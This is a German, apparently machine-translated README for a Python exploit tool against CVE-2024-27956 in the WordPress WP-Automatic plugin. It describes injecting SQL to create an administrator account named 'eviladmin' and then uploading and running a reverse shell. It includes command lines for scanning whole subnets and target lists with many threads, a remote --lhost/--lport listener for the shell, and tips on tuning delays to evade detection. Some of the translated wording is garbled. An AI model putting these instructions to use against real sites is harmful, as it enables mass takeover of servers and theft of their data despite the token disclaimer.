WordPress Auto Admin Account and Reverse Shell cve 2024 27956

Erstellung von WordPress Admin-Konto und Reverse Shell (CVE-2024-27956)

Dieses Python -Skript automatisiert den Prozess, ein neues Administratorkonto auf einer WordPress -Site zu erstellen und eine Reverse -Shell auf dem Zielserver auszuführen. Es wird die CSV-Injektion von WP-Automatic Plugin verwendet, um SQL-Abfragen in der WordPress-Datenbank auszuführen und administrativen Zugriff zu erhalten.

Update? ‍♀️

Kernvorlage hinzugefügt

Fügen Sie einige weitere Methoden zur Unterstützung massiver Angriffsziele hinzu

Fügen Sie mehrere Zielunterstützung hinzu

Fügen Sie automatisches Ziel nach Scanners Basis -IP- oder TXT -Datei hinzu

Wie man benutzt

• Hier sind einige erweiterte Beispiele dafür, wie Sie das Skript verwenden könnten, vorausgesetzt, Sie haben die richtige Genehmigung, um die Zielsysteme zu testen.

1. Scannen eines Subnetzes : Wenn Sie ein Subnetz für gefährdete WordPress -Installationen scannen möchten, können Sie die Option --subnet verwenden. Zum Beispiel:

    python wp-automatic-exploit.py --subnet 192.168.1.0/24 --lhost 127.0.0.1 --lport 1414 --threads 10 --delay 1.0
   

   In diesem Befehl scannen das Subnetz 192.168.1.0/24 für WordPress -Sites mit dem schutzbedürftigen WP -Automatik -Plugin und versuchen, sie mit den bereitgestellten Listener -Einstellungen auszunutzen.

2. Anpassen der Verzögerung : Die Verzögerung zwischen Anforderungen kann mit der Option --delay eingestellt werden. Eine höhere Verzögerung kann dazu beitragen, die Erkennung oder die Ratenbegrenzung zu vermeiden, während eine geringere Verzögerung den Ausbeutungsprozess beschleunigen kann. Zum Beispiel:

    python wp-automatic-exploit.py --targets targets.txt --lhost 127.0.0.1 --lport 1414 --threads 10 --delay 2.5
   

   Dieser Befehl verwendet eine Verzögerung von 2,5 Sekunden zwischen Anforderungen.

3. Mit einem Remote -Listener : Wenn Ihr Hörer auf einem Remote -Computer eingerichtet ist, können Sie die IP -Adresse und den Port mit den Optionen --lhost und --lport angeben. Zum Beispiel:

    python wp-automatic-exploit.py --targets targets.txt --lhost 192.168.1.100 --lport 8080 --threads 10 --delay 1.0
   

   Dieser Befehl verbindet sich am 192.168.1.100:8080 8080 zurück mit einem Hörer.

4. Erhöhen Sie die Anzahl der Threads : Sie können die Anzahl der vom Skript verwendeten Threads mit der Option --threads erhöhen. Dies kann den Ausbeutungsprozess beschleunigen, kann aber auch die Wahrscheinlichkeit einer Erkennung oder zu Problemen mit der Ratenbegrenzung erhöhen. Zum Beispiel:

    python wp-automatic-exploit.py --targets targets.txt --lhost 127.0.0.1 --lport 1414 --threads 20 --delay 1.0
   

   Dieser Befehl verwendet 20 Threads zur Ausbeutung.

Voraussetzungen

• Python 3.x
• requests (installieren Sie über pip install requests )
• Netcat (zum Einrichten eines Hörers zur Verbindung zur Reverse Shell)

Verwendung

1. Ersetzen Sie die domain im Skript durch die URL der Target WordPress -Site.
2. Führen Sie das Python -Skript aus.
3. Sobald das Skript ausgeführt wurde, erstellt es einen neuen Administratorbenutzer mit dem Namen eviladmin , setzt das Kennwort und ordnet administrative Berechtigungen zu.
4. Anschließend wird eine Reverse -Shell -Nutzlast auf dem Zielserver hochgeladen und ausgeführt.
5. Richten Sie einen NetCat -Listener ein, um mit dem angegebenen Port eine Verbindung zur Reverse Shell herzustellen.

Hinweis: Stellen Sie sicher, dass Sie vor dem Ausführen dieses Skripts eine angemessene Genehmigung und Berechtigungen haben, da dies zu Sicherheitslücken und rechtlichen Konsequenzen führen kann, wenn sie missbraucht werden.

Haftungsausschluss

Dieses Skript wird nur für Bildungs- und Testzwecke bereitgestellt. Der Autor übernimmt keine Haftung für eine nicht autorisierte oder illegale Verwendung dieses Skripts. Verwenden Sie es auf eigenes Risiko.